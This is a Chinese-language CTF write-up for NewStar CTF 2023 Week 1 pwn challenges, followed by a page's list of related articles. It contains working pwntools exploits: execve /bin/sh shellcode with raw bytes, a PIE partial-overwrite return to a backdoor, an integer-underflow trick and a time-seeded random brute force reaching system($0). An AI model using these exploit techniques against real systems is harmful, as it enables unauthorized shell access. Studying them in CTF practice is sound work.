WEEK1 PWN

1.ezshellcode

直接sendline(shellcode)即可

exp:

from pwn import *
p = remote("node4.buuoj.cn",29374)
#p = process('/home/miyu/Desktop/ezshellcode') context(log_level = 'debug', arch = 'amd64', os = 'linux')
shellcode=asm(shellcraft.sh())
#shellcode = b'\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05'
payload = shellcode
p.sendlineafter('Show me your magic\n',payload)
p.interactive()

pwntools生成的shellcode和\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05都能过

2.p1eee

开启了PIE,地址的后三位(1.5字节)是随机的

发现了system(/bin/sh),于是我们直接把后两个字节改为126C即可

exp:

from pwn import *
#p = process('/home/miyu/Desktop/pwn (4)')
p = remote("node4.buuoj.cn",29573)
#gdb.attach(p)
offset = 0x20+8
p.sendline(b'a'*offset+p64(0x126C))
p.interactive()

3.newstar shop

通过购买机制让金钱变成负值即可,然后int型变量转化为unsigned int型变量即可进入后门

4.Random

以时间作为随机数种子,生成了v8,然后要求我们输入v6,当v8=v6时才能进入if里,我们可以使用与远程环境一样的libc版本,也以time(0)作为随机数种子

libc = cdll.LoadLibrary('libc.so.6')
libc.srand(libc.time(0))
a=libc.random()
p.sendline(str(a))

我们需要让v4%2=1,v3='0'才可以构造出system($0)

system($0)是和system(/bin/sh)等价的

所以我们要对后两位随机数进行爆破,直到满足v4%2=1,v3='0'为止

每次爆破后需要暂停一秒,以刷新时间种子

完整exp如下:

from pwn import *
from LibcSearcher import *
from ctypes import *
for i in range(100):
p = remote("node4.buuoj.cn",27502)
libc = cdll.LoadLibrary('libc.so.6')
libc.srand(libc.time(0))
try:
a=libc.random()
b=libc.random()
c=libc.random()
if b%5==2:
if c%2==1:
p.sendline(str(a))
p.interactive()
except:
continue
finally:
p.close()
sleep(1)

关于python中try、except、finally的用法,可以参考:

https://blog.csdn.net/weixin_44828950/article/details/91471459

Newstar CTF 2023的更多相关文章

  1. NewStarCTF 公开赛 2022 RE WP

    Week 2 Re 前可见古人,后得见来者 chipher = [0x51, 0x5B, 0x4C, 0x56, 0x59, 0x4D, 0x50, 0x56, 0x54, 0x43, 0x7D, 0 ...

  2. 个人CTF资源聚合

    i春秋 幻泉 CTF入门课程笔记 视频地址 能力 思维能力 快速学习能力 技术能力 基础 编程基础 (c语言 汇编语言 脚本语言) 数学基础 (算法 密码学) 脑洞 (天马行空的想象推理) 体力耐力( ...

  3. 暑假CTF训练一

    暑假CTF训练一 围在栅栏中的爱 题目: 最近一直在好奇一个问题,QWE到底等不等于ABC? -.- .. --.- .-.. .-- - ..-. -.-. --.- --. -. ... --- ...

  4. Sharif University CTF 2016 -- Login to System (PWN 200)

    EN: It's easy to find out where is the bug : .text:0000000000400DE4 ; void *start_routine(void *).te ...

  5. 入CTF坑必不可少的地方-保持更新

    0x00 前言 没有交易,没有买卖,没有排名,纯属分享:p 0x01 CTF介绍 CTF领域指南CTF介绍大全CTF赛事预告 0x02 CTF练习 BIN:reversingpwnableexploi ...

  6. v0lt CTF安全工具包

    0×00 v0lt v0lt是一个我尝试重组每一个我使用过的/现在在使用的/将来要用的用python开发的安全领域CTF工具.实践任务可能会采用bash脚本来解决,但我认为Python更具有灵活性,这 ...

  7. 参加 Tokyo Westerns / MMA CTF 2nd 2016 经验与感悟 TWCTF 2016 WriteUp

    洒家近期参加了 Tokyo Westerns / MMA CTF 2nd 2016(TWCTF) 比赛,不得不说国际赛的玩法比国内赛更有玩头,有的题给洒家一种一看就知道怎么做,但是做出来还需要洒家拍一 ...

  8. Security Tools (Contain CTF tools)

    From now on I will start to have fun with CTF and other security games or challenges. And I am going ...

  9. 隐写-CTF中图片隐藏文件分离方法总结

    0x00 前言 在安全的大趋势下,信息安全越来越来受到国家和企业的重视,所以CTF比赛场次越来越多,而且比赛形式也不断的创新,题目也更加新颖有趣,对选手的综合信息安全能力有一个较好的考验,当然更好的是 ...

  10. 如何在CTF中当搅屎棍

    论如何在CTF比赛中搅屎 0×00 前言 不能搅屎的CTF不是好CTF,不能搅屎的题目不是好题目. 我很赞成phithon神的一句话,"比赛就是和他人竞争的过程,通过各种手段阻止对手拿分我觉 ...

随机推荐

  1. [MAUI]用纯C#代码写两个漂亮的时钟

    @ 目录 时钟1 绘制锯齿表盘 绘制指针 绘制沿路径文本 时钟2 绘制表盘 绘制指针 项目地址 谷歌在2021年5月份推出的Android 12给我们带来了新的UI设计规范Material You,你 ...

  2. 【java-Err】 Generating equals/hashCode implementation but without a call to superclass,

    @EqualsAndHashCode  默认不继承父类 修复此问题的方法很简单:  1. 使用@Getter @Setter @ToString代替@Data并且自定义equals(Object ot ...

  3. springboot自定义消息转换器

    import com.alibaba.fastjson.JSONObject; import com.alibaba.fastjson.serializer.SerializerFeature; im ...

  4. Kurator v0.4.0版本更新4大内容,满足多云环境的复杂需求

    摘要:在最新发布的 v0.4.0 版本中,Kurator 进一步丰富了分布式云原生场景下的应用统一管理能力,以便更好地满足多云环境的复杂需求. 本文分享自华为云社区<Kurator v0.4.0 ...

  5. P3574 [POI2014] FAR-FarmCraft 吐槽 + 题解

    洛谷上面的题解写的真的不太好,有很多错误,我来谈谈自己的理解. 设 \(f[i]\) 表示以 \(i\) 为根节点的子树中(包括节点 \(i\))的所有人安装好游戏所需要的时间(与下面的 \(g[i] ...

  6. .Net FrameWork下面如何生成AOT呢?

    前言 其实AOT预编译,在.Net FrameWorker1.0里面就有了.它叫做Ngen,只不过当时叫做生成本机映像,实际上还是一个东西,也就是预编译.本篇来看下. 概括 1.介绍 现在的现代化的. ...

  7. Redis的设计与实现(3)-字典

    Redis 的数据库使用字典实现, 对数据库的增, 删, 查, 改也是构建在对字典的操作之上的. 字典是哈希键的底层实现之一: 当一个哈希键包含的键值对比较多, 又或者键值对中的元素都是比较长的字符串 ...

  8. 编码技巧 --- 使用dynamic简化反射

    引言 dynamic 是 Framework 4.0 就出现特性,它的出现让 C# 具有了弱语言类型的特性.编译器在编译的时候不再对类型进行检查,默认 dynamic 对象支持开发者想要的任何特性. ...

  9. Nginx:client_body_temp_path 指令的上传文件测试

    结论 硬盘必须要有上传文件3倍大小的剩余空间.否则会报错"no space left on device". 需要注意,这3份数据都会写到硬盘.大文件上传,实时观察硬盘剩余空间wa ...

  10. 达梦数据库: SQL查询报错《不是 GROUP BY 表达式解决方法》

    报错信息: ****: 第4 行附近出现错误: 不是 GROUP BY 表达式 修改办法: 达梦可以配置兼容参数,COMPATIBLE_MODE=4,静态参数,需要重启数据库后生效! sp_set_p ...